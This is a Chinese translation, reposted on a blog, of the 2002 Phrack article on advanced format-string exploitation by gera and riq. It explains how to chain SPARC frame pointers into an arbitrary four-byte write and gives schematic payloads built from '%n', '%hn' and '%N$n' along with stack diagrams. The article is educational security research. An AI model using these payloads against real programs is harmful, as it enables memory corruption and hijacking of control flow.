【原理】高级format string exploit技术P59-0x07(下)

从CTF题解析FORTIFY_SOURCE Level 0的漏洞利用与防御原理 缓冲区溢出是C/C++程序中常见的安全漏洞,其原理是程序向固定大小的缓冲区写入超出其容量的数据,导致相邻内存被覆盖。这种漏洞可能被攻击者利用来执行任意代码或篡改程序流程。为了防范此类风险,现代编译器引入了FORTIFY_SOURCE机制,它在编译时和运行时对敏感函数(如strcpy、memcpy)进行边界检查,通过替换为带长度验证的加强版函数(如__strcpy_chk)来阻止溢出。这项技术的核心价值在于在不修改源码的情况下提升程序安全性,尤其适用于网络服务、系统工具等对稳定性要求高的场景。在CTF竞赛和实 阅读详情

高级format string exploit技术P59-0x07(下)


创建时间:2002-08-23
文章属性:翻译
文章来源: http://www.whitecell.org
文章提交: Debuger (z_yikai_at_163.net)

高级format string exploit技术P59-0x07(下)
|=-----------------------=[ riq <riq@corest.com> ]=-----------------------|

原文: <<Advances in format string exploiting>>
by gera <gera@corest.com>, riq <riq@corest.com>
翻译 yikaikai<yikaikai@sina.com>   http://www.whitecell.org
--[目录

   1 - 简介
   2 - 堆
   3 -小技巧
    3.1 - 例1
    3.2 - 例2    
    3.3 - 例3
    3.4 - 例4
  4 - 4字节write-anything-anywhere权限的滥用
    4.1 - 例5
  5 - 结论
    5.1 - 覆盖栈帧寄存器local 0是否危险?
    5.2 - 这种方法可靠吗?
    5.3 - 在i386平台能否运行?

  6 - 后记
    6.1 - 参考资料
    6.2 - 致谢


--[ 1 - 简介

通常的format string位于栈内, 但有位于堆的情况, 你是看不到的.
scut 在他的文章里谈到了这些"格式化字符串溢出攻击 section6.4
       http://www.team-teso.net/articles/formatstring/

    这里我介绍一个在SPARC(big-endian machines)上处理这种字符串的一般方法,
在i386上也是相似的


--[ 2 - 堆

  在栈里你可以发现栈的帧结构. 栈的结构包括局部变量, 寄存器,指向前一个栈结构的
指针, 返回地址等.

     既然用格式化字符串可以看到这些, 我们要仔细研究一下.
基于SPARC的栈结构大概如下.

    说明一下,  SPARC包含4组通用寄存器,每组包含8个寄存器。其中一组是全局(global)寄存器,
另外三组寄存器是out,local,in.
          frame 0              frame 1               frame 2
         [  l0   ]     +----> [  l0   ]      +----> [  l0   ]
         [  l1   ]     |      [  l1   ]      |      [  l1   ]
            ...        |         ...         |         ...  
         [  l7   ]     |      [  l7   ]      |      [  l7   ]
         [  i0   ]     |      [  i0   ]      |      [  i0   ]
         [  i1   ]     |      [  i1   ]      |      [  i1   ]
            ...        |         ...         |         ...  
         [  i5   ]     |      [  i5   ]      |      [  i5   ]
         [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
         [  i7   ]            [  i7   ]             [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]

  等等

    寄存器fp 是指向调用帧的指针, 你可以猜得出, 'fp' 代表帧指针.
    temp_N 是保存在栈中的局部变量, 帧1从帧0的局部变量结束地方开始,
帧2从帧1的局部变量结束地方开始,  如此类推.
    所有的帧保存在栈中, 所以我们可以用我们的格式化字符串看到这些

--[ 3 - 小敲门

    敲门在于每个栈帧都有一个指针指向前一个栈帧, 我们得到指向栈的地址越多,
就越有可能成功.
   为什么呢?如果我们有一个属于自己堆栈的指针, 我们可以覆盖指向任何值的地址

--[ 3.1 - 例1

    假设我们想将0x1234放入帧1的寄存器local 0内, 我们要做的是试着建立一个
格式化字符串, 长度刚好到达帧0 fp的位置, 即0x1234, 在那个位置我们用格式化字符串
放入字符'%n'.
    假设第一个参数是在帧0的局部变量0中, 我们的格式化字符串如下( 用 python描述)
  '%8x' * 8 +     # 弹出8个local寄存器
  '%8x' * 5 +     # 弹出前5个寄存器in
  '%4640d'  +     # 改变string的长度 (4640 is 0x1220) and...
  '%n'            # 在fp指向的位置写入(which is frame 1's l0)

    当格式化字符串执行后, 栈看起来是这样的:
          frame 0              frame 1
         [  l0   ]     +----> [ 0x00001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...  
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...  
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]


--[ 3.2 - 例2

  如果我们要写大点的数字, 像0x20001234, 我们应该在栈中寻找两个指向同一地址的
指针, 看起来如下
          frame 0              frame 1
         [  l0   ]     +----> [  l0   ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...  
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]  
            ...        |         ...  
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]


  [ 注意: 不一定要去找两个指向同一地址的指针, 虽然不是少见]
    所以, 我们的格式化字符串看起来如下

  '%8x' * 8 +     # 弹出8个local寄存器
  '%8x' * 5 +     # 弹出前5个寄存器in
  '%4640d'  +     # 改变format string长度 (4640=0x1220)
  '%n'            # 在fp指向的位置写入(which is frame 1's l0)
  '%3530d'  +     # 再次改变format string 长度
  '%hn'           # 这次改变高位部分!

   我们将会得到:
          frame 0              frame 1
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...  
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...  
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]


--[ 3.3 - example 3

    这个例子中我们只有一个指针, 在格式化字符串中我们用直接存取可以得到同样
的结果, 用'%arg_number$', arg_number位于0-30(Solaris).

    我的format string 如下
    '%4640d' +  # 改变长度
    '%15$n'  +  # 写第15个参数的地方(第15个参数是fp位置!)
    '%3530d' +  # 再次改变长度
    '%15$hn'    # 再次写入(高位部分)!

  因此, 我们将会得到如下结果
      
          frame 0              frame 1
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...  
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...  
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]

--[ 3.4 - 例4

   但是两个指针在栈中不指向同一地址的情况是常发生的, 指向栈中的第一个地址
常常超出前30个参数的范围, 那么该怎么做呢?
   要知道用简单的'%n', 你可以写非常大的数字, 像0x0028000或者更大, 你应当知道
二进制的动态连接库通常位于低位地址, 像0x0002???. 所以, 只用一个指针指向栈,
你可以得到指向二进制PLT的指针.

  我想这里就不再需要用图表示了

--[ 4 - 4字节write-anything-anywhere权限的滥用

--[ 4.1 -例5

    为了得到4write-anything-anywhere的权限, 我们应该重复一下栈帧寄存器local 0作了些什么,
在另一个重做一次, 比如帧1,结果看起来如下:
      frame 0              frame 1               frame 2
     [  l0   ]     +----> [0x00029e8c]   +----> [0x00029e8e]
     [  l1   ]     |      [  l1   ]      |      [  l1   ]
        ...        |         ...         |         ...  
     [  l7   ]     |      [  l7   ]      |      [  l7   ]
     [  i0   ]     |      [  i0   ]      |      [  i0   ]
     [  i1   ]     |      [  i1   ]      |      [  i1   ]
        ...        |         ...         |         ...  
     [  i5   ]     |      [  i5   ]      |      [  i5   ]
     [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
     [  i7   ]            [  i7   ]      |      [  i7   ]
     [ temp 1]            [ temp 1]      |
                          [ temp 2]  ----+
                          [ temp 3]
  [注意: 只要我们想改变的的代码在0x00029e8c之内]

  现在, 我们有了两个指针, 一个指向  0x00029e8c 另一个指向0x00029e8e, 我们终于
达到了自己想要的目的, 现在我们可以攻击这个位置就像攻击其他的format string.

   这个format string看起来如下:
    '%4640d' +  # 改变长度
    '%15$n'  +  # 用直接存取的方法写入帧1 寄存器local 0的低位部分
    '%3530d' +  # 再次改变长度
    '%15$hn' +  # 覆盖高位部分
    '%9876d' +  # 改变长度
    '%18$hn' +  # And write like any format string exploit!


    '%8x' * 13+ # 弹出13个参数( 从15个参数中)
    '%6789d' +  # 改变长度
    '%n'     +  # 写低位部分
    '%8x'    +  # 弹出
    '%1122d' +  # 改变长度
    '%hn'    +  # 写高位部分
    '%2211d' +  # 改变长度
    '%hn'       # 再次改写, 就像任何的exploit一样

    你可以看得出, 这只是由一个format string完成的, 但不总是这样,
如果我们不能创建两个指针, 我们能做的,就是滥用两次format string.

    首先, 创建一个指向0x00029e8c的指针, 然后, 我们用'%hn'覆盖0x00029e8c指
向的指针.
    然后, 我们在滥用一次format string, 就像上次那样, 只是用指向0x00029e8c
的指针.


--[5]    结论
--[   5.1 - 覆盖栈帧寄存器local 0是否危险?

   这不是最好的, 但实践表明改变local 0的值没有任何问题, 有时候你也许不幸, 你宁愿更改
属于main()或 _start()帧的local 0

--[ 5.2 - 这种方法可靠吗?

  如果你了解栈的情况, 或者知道栈帧的大小, 那就是可靠的, 否则这种技术帮不了
你多少.

  我想当你不得不覆盖值为零的地址时, 这也许是你最后的选择, 因为你不能将0放入format
string(将会截断string)

   同样的, 二进制的过程联接表(PLT) 位于低位地址, 覆盖二进制的PLT比libc'sPLT更可靠,
为什么呢?我想Solaris下联接库的改变比你想exploit的binary更频繁. 也许, 你想exploit的
二进制代码将永远不会改变

--[ 5.3 -  在i386平台能否运行?

  是的, 或许可以, 我想你可能会遇到'%n'和'%hn'的问题,
(i386 是 little-endian), 但我相信其他的在386上是能正常运行的
--[ 6 - 后记

--[ 6.1 - references

  Very complete format strings article by scut:
    * http://www.team-teso.net/articles/formatstring/


--[ 6.2 - thanks to:
    
  Juliano, for letting me know that I can overwrite, as may times as I
want an address using 'direct access', and other tips about format strings.

  Gera, for his ideas, suggestions and fixes.

  Javier, for helping me in SPARC.

  Bombi, for trying her best to correct my English.

  and Bruce, for correcting my English, too.

riq.

|=[ EOF ]=---------------------------------------------------------------=|

[ 感谢alert7, 大鹰在翻译时对我的支持, 特别是alert7在我翻译初稿里提出许多问题,
并给了一些参考资料 << Solaris for SPARC 堆栈溢出程序编写(1)>> warning3 (warning3@hotmail.com) ]
Mythos模型技术解析:三层解耦架构与对抗性自我蒸馏 大语言模型在安全分析与代码理解领域的演进,正从单阶段推理迈向多层协同的认知系统。Mythos代表了一种新型AI范式:通过神谕层(Oracle)、匠人层(Artificer)和织网层(Weaver)的严格解耦,实现漏洞分析、exploit构造与上下文记忆的职责分离;其核心训练方法——对抗性自我蒸馏,以教师模型初筛、反向验证器诘问、多轮逻辑加固为闭环,显著提升推理链完整性与可验证性。该技术路径不仅重塑了SWE-bench等代码基准的评估意义,更对软件供应链安全、零日漏洞响应机制及AI对齐工程提出全新挑战。本文深 阅读详情

相关推荐

Log4j2漏洞深度解析:从JNDI注入原理到高级攻击与防御实战

JNDI(Java命名和目录接口)是Java EE中用于访问命名和目录服务的核心API,它允许应用程序通过统一的接口查找和访问各种资源。其工作原理是客户端通过JNDI API向命名服务发起查询,服务端返回对应的对象引用或序列化数据,客户端可据此加载资源或类。这项技术的核心价值在于实现了资源的解耦和动态配置,广泛应用于企业级应用集成、数据库连接池管理和分布式对象调用等场景。然而,当JNDI的查找功能与用户可控输入结合时,便可能引发严重的**JNDI注入**漏洞。攻击者通过构造恶意的JNDI查找字符串(如lda

weixin_30872499的博客 420

怎么将字符串加入到输入缓冲区_缓冲区溢出原理及实验——codeinjection与returnorientedprogramming...

缓冲区溢出试验是CSAPP 课后试验[1]之一,目的是:更好的理解什么是缓冲区溢出如何攻击带有缓冲区溢出漏洞的程序如何编写出更加安全的代码了解并理解编译器和操作系统为了让程序更加安全而提供的几种特性我们可以使用代码注入(code-injection)和返回导向编程(return-oriented-programming)两种攻击手段分别攻击试验提供的 ctarget 和 rtarget ...

weixin_39646628的博客 343

Log4Shell漏洞复现与防御:从原理到实战的深度剖析

在软件开发中,日志记录是追踪应用状态、排查问题的基础功能,而日志框架的安全性是保障系统稳定运行的关键。Apache Log4j2作为Java生态中广泛使用的日志组件,其核心原理在于通过Lookup机制动态解析日志内容,这原本是为了提升日志的灵活性。然而,当Lookup功能与JNDI(Java命名和目录接口)结合时,却可能引发严重的安全风险。JNDI允许应用访问远程的目录服务,如果日志内容中包含了恶意构造的JNDI查找指令,就可能触发远程类加载与代码执行,这正是CVE-2021-44228(Log4Shell

weixin_33739627的博客 354

【分析】如何写远程自动精确定位的format string exploit

如何写远程自动精确定位的format string exploit创建时间:2002-04-28文章属性:翻译文章来源:http://www.xfocus.org/文章提交:alert7 (sztcww_at_sina.com)如何写远程自动精确定位的format string exploit原作: >      by Fr閐閞ic Raynal 翻译整理: alert7 主页: http://w

FreeXploiT 1499

Shellcode手工编写与自动化工具对比:从汇编原理到实战应用

Shellcode作为一段不依赖外部库、可直接在内存中执行的机器码,是安全研究、渗透测试和漏洞利用中的核心概念。其原理在于通过精心构造的指令序列,直接调用操作系统内核功能,实现进程控制、权限提升等目标。这种技术价值在于能够绕过传统安全防护机制,在受限环境中执行任意代码。在应用场景上,Shellcode广泛用于渗透测试、红蓝对抗、漏洞利用开发和恶意软件分析。无论是追求极致精简和可控性的手工编写,还是注重功能集成和工程化的自动化工具生成,都需要深入理解系统调用、内存布局和指令集架构。本文聚焦于Shellcode

584

Log4Shell漏洞复现与深度剖析:从原理到实战防御

JNDI(Java命名和目录接口)是Java平台中用于访问命名和目录服务的标准API,它允许应用程序通过统一的接口查找和访问分布式环境中的对象。其核心原理是通过命名服务将逻辑名称映射到实际资源,如数据库连接、EJB组件等。这项技术的价值在于实现了资源的解耦和动态发现,但同时也引入了安全风险,当不可信输入能够触发JNDI查找时,就可能构成远程代码执行漏洞。在Java应用安全领域,此类漏洞常出现在日志记录、反序列化等数据处理环节。本文聚焦于因JNDI功能滥用而引发的经典供应链安全事件,通过搭建包含恶意LDAP服

weixin_34204722的博客 317

高级返回库函数exploit代码实现

                     高级返回库函数exploit代码实现作者:Nergal nergal@owl.openwall.com>翻译:null roohacker@263.net>-【1-介绍1- 介绍2- 传统返回函数库技术3- 多个联结返回函数库调用  3.1 - 传统方法的局限  3.2 - "esp增长"的方法  3.3 - 栈帧伪造  3.4 - 嵌入零字节  3.

r000t的专栏 3525

Log4j漏洞原理深度解析与实战修复指南

在软件开发中,日志记录是追踪应用行为、排查问题的基础功能,而Java生态中广泛使用的Apache Log4j框架正是实现这一功能的核心组件之一。其工作原理是通过可配置的Appender、Layout等模块,将程序运行信息输出到指定目标。然而,当框架的设计机制存在缺陷时,基础功能也可能演变为严重的安全风险。Log4j2引入的Lookup功能本意是增强日志的灵活性,允许动态插入运行时数据,但其默认开启的JNDI Lookup特性,结合Java命名与目录接口的服务机制,在特定条件下可被恶意利用。攻击者通过构造特殊

weixin_30790841的博客 317

计算机系统基础实验-BufferBomb实验

之前有人问我能不能放出这个实验课程答案,这是大三第一学期的实验课中的反汇编实验作业,也是从别的博主那里学习的。因为太久以前其实好多知识点都忘了。可以自己去找南京大学的袁春风老师公开课,B站或者中国大学慕课网都有,计算机系的公开课,C语言或者JAVA程序设计,数据结构都推荐浙大翁恺或者哈工大公开课,计算机组成原理推荐南京大学袁春风公开课,操作系统或者计算机网络,自己看王道后看书的。 ...

Mas的博客 5583

CTF Pwn盲打实战:格式化字符串漏洞利用原理与自动化脚本

格式化字符串漏洞是二进制安全领域中的一种经典内存破坏漏洞,其核心原理在于程序将用户输入直接作为格式化函数(如printf)的格式字符串参数,导致攻击者能够通过注入%x、%s、%n等格式化占位符,实现对程序内存的读取或写入。这种漏洞利用的价值在于它不依赖精确的栈布局,在缺乏二进制文件的“盲打”场景下尤为有效,常被用于CTF竞赛和渗透测试中。通过精心构造的payload,攻击者可以逐步泄露栈内存、计算关键地址偏移(如libc基址),最终实现任意地址读写,从而劫持程序控制流。本文聚焦于盲打环境下的实战利用,详细拆

weixin_30387799的博客 994

Mythos安全智能体:从漏洞发现到自动利用的AI攻防范式跃迁

AI安全智能体正从传统规则匹配与统计建模,转向对程序语义、编译器中间表示及运行时环境的深度联合理解。其核心原理在于跨抽象层(源码/AST/LLVM IR)的联合嵌入与环境感知推理,使模型能像资深安全研究员一样建模内存布局、推导漏洞路径并生成可执行exploit。这种能力带来显著技术价值:将渗透测试从人天级服务压缩为毫秒级API调用,实现安全左移的工程化落地。典型应用场景包括CI/CD中的实时SAST扫描、零日漏洞POC快速生成、以及自动化修复建议与合规性验证。本文聚焦Anthropic Mythos Pre

493

【原理】高级format string exploit技术P59-0x07(上)

高级format string exploit技术P59-0x07(上)创建时间:2002-08-17文章属性:转载文章提交:xundi (xundi_at_xfocus.org)高级format string exploit技术P59-0x07(上)原文: >by gera , riq 翻译整理byalert7 主页: http://www.xfocus.org/  http://www.whi

FreeXploiT 1842

CTFshow PWN入门实战:从栈溢出到堆利用的完整学习路径

在计算机安全领域,二进制漏洞利用是理解软件安全机制的核心。其原理源于程序内存管理缺陷,攻击者通过精心构造的输入数据覆盖关键内存区域,从而劫持程序控制流。这项技术的核心价值在于揭示系统底层安全边界,是构建纵深防御体系的基础。在CTF竞赛和渗透测试中,掌握栈溢出、格式化字符串和堆利用等技术,能够有效评估软件抗攻击能力。本文以CTFshow平台的PWN入门系列为蓝本,系统讲解环境搭建、工具链配置和漏洞利用实战,重点剖析栈溢出与格式化字符串漏洞的利用技巧,帮助初学者建立完整的二进制安全攻防思维框架。

weixin_30412167的博客 375

Fomat String exploit example-format-bin-0x08

什么是格式字符串   C中最常见最著名的函数是printf,printf将会格式化输出数据到stdout。   int printf(const char format, …); printf读取格式字符串并找到’%’, %*决定了后面跟着的参数的类型。 format1.c #include <stdio.h> #include <unistd.h> #include &l...

qq_25899635的博客 247

Log4j2漏洞深度解析:从JNDI注入原理到企业级防御实战

在Java应用开发中,日志记录是基础且关键的功能,它帮助开发者追踪程序运行状态和排查问题。其核心原理是通过日志框架对事件信息进行采集、过滤和输出。然而,当框架的设计存在缺陷时,这一基础功能可能演变为严重的安全风险。Log4j2作为广泛使用的日志组件,其提供的Lookup功能本意是增强日志的灵活性,允许动态插入运行时信息。但由于其对用户输入进行了无条件递归解析,并与JNDI服务结合,导致了远程代码执行漏洞。这种漏洞的技术价值在于它深刻揭示了供应链安全中“隐形依赖”的巨大危害和输入验证的极端重要性。其应用场景极

weixin_34413103的博客 356

从Log4j2 RCE到致远OA文件上传:一次完整攻击链的实战复现与深度防御分析

在软件安全领域,远程代码执行(RCE)和文件上传漏洞是两类常见且危害巨大的安全风险。RCE漏洞通常源于应用对用户输入的处理不当,允许攻击者在目标系统上执行任意命令;而文件上传漏洞则常因服务端对上传文件的类型、路径及内容校验不足,导致恶意文件被上传并执行。这两类漏洞的结合利用,往往能形成一条从外部渗透到内网横向移动的完整攻击链,对企业的纵深防御体系构成严峻挑战。本文以Log4j2(CVE-2021-44228)这一经典的日志组件RCE漏洞为入口,深入剖析其通过JNDI注入实现代码执行的原理,并串联致远OA系统

weixin_34218579的博客 320

Format String 漏洞介绍 总结(五)

Format String 漏洞介绍 总结(五)Bkbll(bkbll@cnhonker.net)2003-6-104.关于 format string漏洞在non-exec stack linux x86上的应用.这里不特指使用了哪些non-exec stack补丁的系统, 我们的利用目的就是让我们的代码执行起来, 利用的方法可以有以下两种:1. 利用execv 直接执行我们的代码, 这样避免了...

爱.NET 414

VGG16

VGG16学习笔记

一去不复返的通信er 1178

DEF CON 33 LiveCTF Challenge Write-Up

在 DEF CON CTF 的比赛体系中,LiveCTF 是最紧张的部分之一。比赛现场会实时发布题目,两支队伍面对同一道题,谁先拿到 flag 谁获胜。livectf-challenges:从堆溢出到远程代码执行。ret2libc 或 GOT overwrite 是可能的。意味着栈不可执行,shellcode 不能直接执行。它不仅考察技术,还考察速度、协作、心理稳定性。虽然这是 CTF 题,但现实软件中同样常见。如果进入 tcache,就能劫持指针。CTF 本质上就是现实漏洞研究的缩影。

Alfadi联盟 萧瑶的博客 568

Android/AutoMotive 多用户文件操作与权限管理

本文深入探讨了Android/Automotive多用户系统的文件操作与权限管理机制。文章阐述了多用户隔离与共享的核心原理,重点介绍了如何使用adb指令精准管理不同用户的应用与数据,并提供了在Android Automotive车载场景下实现安全跨用户数据共享与权限控制的最佳实践。

weixin_29214691的博客 164

解决鸿蒙/荣耀设备GMS应用调试中的“Play保护机制认证”报错

本文详细解析了在鸿蒙或荣耀设备上调试GMS应用时,遇到“Play保护机制认证”报错的根本原因与解决方案。核心在于获取设备的GMS Device ID,并通过Google官方渠道完成临时注册,从而绕过认证限制。文章提供了无需Root和ADB查询两种具体方法,并分享了授权后的故障排查与实战经验,帮助开发者高效解决问题。

weixin_29288313的博客 303
上一篇: 【原理】高级format string exploit技术P59-0x07(上)
下一篇: 【原理】Basic Integer Overflows
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值